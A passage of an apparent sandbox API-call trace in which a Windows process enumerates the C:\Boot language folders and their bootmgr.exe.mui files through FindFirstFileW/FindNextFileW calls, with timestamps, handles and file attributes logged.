lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0211.771] GetProcessHeap () returned 0x560000 [0211.771] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0211.771] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b744d8 [0211.771] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.771] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0211.771] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0211.772] FindClose (in: hFindFile=0x2b744d8 | out: hFindFile=0x2b744d8) returned 1 [0211.772] GetProcessHeap () returned 0x560000 [0211.772] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0211.772] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0211.772] GetProcessHeap () returned 0x560000 [0211.772] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0211.772] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b744d8 [0211.772] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.773] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0211.773] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0211.773] FindClose (in: hFindFile=0x2b744d8 | out: hFindFile=0x2b744d8) returned 1 [0211.773] GetProcessHeap () returned 0x560000 [0211.773] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0211.773] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0211.773] GetProcessHeap () returned 0x560000 [0211.773] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0211.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b744d8 [0211.774] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.774] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0211.774] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0211.774] FindClose (in: hFindFile=0x2b744d8 | out: hFindFile=0x2b744d8) returned 1 [0211.775] GetProcessHeap () returned 0x560000 [0211.775] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0211.775] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0211.775] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0211.775] GetProcessHeap () returned 0x560000 [0211.775] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0211.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b74930 [0212.939] FindNextFileW (in: hFindFile=0x2b74930, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.939] FindNextFileW (in: hFindFile=0x2b74930, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0212.939] FindNextFileW (in: hFindFile=0x2b74930, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0212.939] FindClose (in: hFindFile=0x2b74930 | out: hFindFile=0x2b74930) returned 1 [0212.940] GetProcessHeap () returned 0x560000 [0212.940] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0212.940] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0212.940] GetProcessHeap () returned 0x560000 [0212.940] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0212.940] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593dd0 [0214.597] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.597] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.597] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.597] FindClose (in: hFindFile=0x593dd0 | out: hFindFile=0x593dd0) returned 1 [0214.597] GetProcessHeap () returned 0x560000 [0214.597] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0214.597] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0214.598] GetProcessHeap () returned 0x560000 [0214.598] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0214.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593dd0 [0214.598] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.598] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.598] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.598] FindClose (in: hFindFile=0x593dd0 | out: hFindFile=0x593dd0) returned 1 [0214.599] GetProcessHeap () returned 0x560000 [0214.599] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0214.599] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0214.599] GetProcessHeap () returned 0x560000 [0214.599] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0214.599] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593dd0 [0214.599] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.599] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.600] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.600] FindClose (in: hFindFile=0x593dd0 | out: hFindFile=0x593dd0) returned 1 [0214.600] GetProcessHeap () returned 0x560000 [0214.600] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0214.600] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0214.600] GetProcessHeap () returned 0x560000 [0214.600] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0214.600] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593dd0 [0214.601] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.601] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.601] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.601] FindClose (in: hFindFile=0x593dd0 | out: hFindFile=0x593dd0) returned 1 [0214.601] GetProcessHeap () returned 0x560000 [0214.601] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 